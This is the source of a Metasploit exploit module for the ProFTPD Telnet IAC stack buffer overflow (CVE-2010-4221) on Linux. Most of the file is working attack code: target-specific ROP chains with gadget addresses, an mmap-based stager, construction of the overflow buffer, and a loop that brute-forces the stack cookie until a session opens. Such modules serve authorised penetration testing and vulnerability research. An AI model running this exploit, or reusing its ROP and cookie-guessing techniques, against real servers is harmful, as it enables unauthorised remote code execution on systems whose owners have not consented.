modules/exploits/linux/ftp/proftp_telnet_iac.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
#include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions of ProFTPD
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
large number of Telnet IAC commands, an attacker can corrupt memory and
execute arbitrary code.
The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
transfer the flow of execution to a pool buffer (the cmd_rec "res" in
"pr_cmd_read").
The Ubuntu version uses a ROP stager to mmap RWX memory, copy a small stub
to it, and execute the stub. The stub then copies the remainder of the payload
in and executes it.
NOTE: Most Linux distributions either do not ship a vulnerable version of
ProFTPD, or they ship a version compiled with stack smashing protection.
Although SSP significantly reduces the probability of a single attempt
succeeding, it will not prevent exploitation. Since the daemon forks in a
default configuration, the cookie value will remain the same despite
some attempts failing. By making repeated requests, an attacker can eventually
guess the cookie value and exploit the vulnerability.
The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
and could allow exploitation in semi-reasonable amount of time.
},
'Author' => [ 'jduck' ],
'References' =>
[
['CVE', '2010-4221'],
['OSVDB', '68985'],
['BID', '44562']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
'Space' => 4096,
# NOTE: \xff are avoided here so we can control the number of them being sent.
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
'DisableNops' => 'True',
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# This special one comes first since we dont want its index changing.
#
[ 'Debug',
{
'IACCount' => 8192, # should cause crash writing off end of stack
'Offset' => 0,
'Ret' => 0x41414242,
'Writable' => 0x43434545
}
],
#
# specific targets
#
# NOTE: this minimal rop works most of the time, but it can fail
# if the proftpd pool memory is in a different order for whatever reason...
[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
{
'IACCount' => 4096+16,
'Offset' => 0x102c-4,
# NOTE: All addresses are from the proftpd binary
'Ret' => 0x805a547, # pop esi / pop ebp / ret
'Writable' => 0x80e81a0, # .data
'RopStack' =>
[
# Writable is here
0xcccccccc, # unused
0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret
0xcccccccc, # becomes ebx
0xcccccccc, # becomes esi
0xcccccccc, # becomes ebp
# quadruple deref the res pointer :)
0x8068886, # mov eax,[eax] / ret
0x8068886, # mov eax,[eax] / ret
0x8068886, # mov eax,[eax] / ret
0x8068886, # mov eax,[eax] / ret
# skip the pool chunk header
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
# execute the data :)
0x0805c26c, # jmp eax
],
}
],
# For the version compiled with symbols :)
[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
{
'IACCount' => 4096+16,
'Offset' => 0x1028-4,
# NOTE: All addresses are from the proftpd binary
'Writable' => 0x80ec570, # .data
'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
'RopStack' =>
[
# Writable is here
#0x0808162a, # jmp esp (works w/esp fixup)
0xcccccccc, # unused becomes ebp
0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret
0xcccccccc, # unused becomes esi
0xcccccccc, # unused becomes ebp
# quadruple deref the res pointer :)
0x806a915, # mov eax,[eax] / pop ebp / ret
0xcccccccc, # unused becomes ebp
0x806a915, # mov eax,[eax] / pop ebp / ret
0xcccccccc, # unused becomes ebp
0x806a915, # mov eax,[eax] / pop ebp / ret
0xcccccccc, # unused becomes ebp
0x806a915, # mov eax,[eax] / pop ebp / ret
0xcccccccc, # unused becomes ebp
# skip the pool chunk header
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
# execute the data :)
0x08058de6, # jmp eax
],
}
],
[ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
{
'IACCount' => 1018,
'Offset' => 0x420,
'CookieOffset' => -0x20,
'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
'Ret' => 0x805389b, # pop esi / pop ebp / ret
'RopStack' =>
[
0xcccccccc, # becomes ebp
0x8080f04, # pop eax / ret
0x80db330, # becomes eax (GOT of mmap64)
0x806a716, # mov eax, [eax] / ret
0x805dd5c, # jmp eax
0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret
# mmap args
0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
0, # unused
0xcccccccc, # unused
0xcccccccc, # unused
0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
0xcccccccc, # becomes ebp
# note, ebx gets fixed above :)
# 0xfe in 'ah' doesn't matter since we have more than enough space.
# now, load an instruction to store to eax
0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
# becomes edx - mov [eax+ebp*4]; ebx / ret
"\x89\x1c\xa8\xc3".unpack('V').first,
# store it :)
0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
0xcccccccc, # unused
0xcccccccc, # unused
0xcccccccc, # unused
0xcccccccc, # unused
0xcccccccc, # becomes ebx
0xcccccccc, # becomes esi
0xcccccccc, # becomes ebp
# Copy the following stub:
#"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
#"\x8d\x78\x12" # lea edi, [eax+0x12]
#"\x6a\x7f" # push 0x7f
#"\x59" # pop ecx
#"\xf2\xa5" # rep movsd
0x80607b5, # pop ebx / pop ebp / ret
0xfb2124b4, # becomes ebx
1, # becomes ebp
0x805dd5c, # jmp eax
0x80607b5, # pop ebx / pop ebp / ret
0x788dffff, # becomes ebx
2, # becomes ebp
0x805dd5c, # jmp eax
0x80607b5, # pop ebx / pop ebp / ret
0x597f6a12, # becomes ebx
3, # becomes ebp
0x805dd5c, # jmp eax
0x80607b5, # pop ebx / pop ebp / ret
0x9090a5f2, # becomes ebx
4, # becomes ebp
0x805dd5c, # jmp eax
0x80607b5, # pop ebx / pop ebp / ret
0x8d909090, # becomes ebx
0, # becomes ebp
0x805dd5c, # jmp eax
# hopefully we dont get here
0xcccccccc,
],
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2010-11-01'))
register_options(
[
Opt::RPORT(21),
])
end
def check
# NOTE: We don't care if the login failed here...
ret = connect
banner = sock.get_once || ''
# We just want the banner to check against our targets..
vprint_status("FTP Banner: #{banner.strip}")
status = CheckCode::Safe
if banner =~ /ProFTPD (1\.3\.[23])/i
banner_array = banner.split('.')
if banner_array.count() > 0 && !banner_array[3].nil?
# gets 1 char on the third part of version number.
relnum = banner_array[2][0..0]
tmp = banner_array[2].split(' ')
# gets extra string info of version number.
# example: 1.2.3rc ('rc' string)
extra = tmp[0][1..(tmp[0].length - 1)]
if relnum == '2'
if extra.length > 0
if extra[0..1] == 'rc'
v = extra[2..extra.length].to_i
if v && v > 2
status = CheckCode::Appears
end
else
status = CheckCode::Appears
end
end
elsif relnum == '3'
if [ '', 'a', 'b', ].include?(extra)
status = CheckCode::Appears
end
end
end
end
disconnect
return status
end
def exploit
connect
banner = sock.get_once || ''
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
fail_with(Failure::NoTarget, "No matching target")
end
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end
if (not mytarget)
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
#puts "attach and press any key"; bleh = $stdin.gets
buf = ''
buf << 'SITE '
#buf << "\xcc"
if mytarget['CookieOffset']
buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]
end
buf << payload.encoded
# The number of characters left must be odd at this point.
buf << rand_text(1) if (buf.length % 2) == 0
buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)
buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
addrs = [
mytarget['Ret'],
mytarget['Writable']
].pack('V*')
if mytarget['RopStack']
addrs << mytarget['RopStack'].map { |e|
if e == 0xcccccccc
rand_text(4).unpack('V').first
else
e
end
}.pack('V*')
end
# Make sure we didn't introduce instability
addr_badchars = "\x09\x0a\x0b\x0c\x20"
if idx = Rex::Text.badchar_index(addrs, addr_badchars)
fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
end
buf << addrs
buf << "\r\n"
#
# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
# doesn't change while proftpd forks children. Therefore, we can try forever
# and eventually guess it correctly.
#
# NOTE: if the cookie contains one of our bad characters, we're SOL.
#
if mytarget['CookieOffset']
print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")
disconnect
max = 0xffffff00
off = mytarget['Offset'] + mytarget['CookieOffset']
cookie = last_cookie = 0
#cookie = 0x17ccd600
start = Time.now
last = start - 10
while not session_created?
now = Time.now
if (now - last) >= 10
perc = (cookie * 100) / max
qps = ((cookie - last_cookie) >> 8) / 10.0
print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])
last = now
last_cookie = cookie
end
sd = connect(false)
sd.get_once
buf[off, 4] = [cookie].pack('V')
sd.put(buf)
disconnect(sd)
cookie += 0x100
break if cookie > max
end
if not session_created?
fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
end
else
sock.put(buf)
disconnect
end
handler
end
end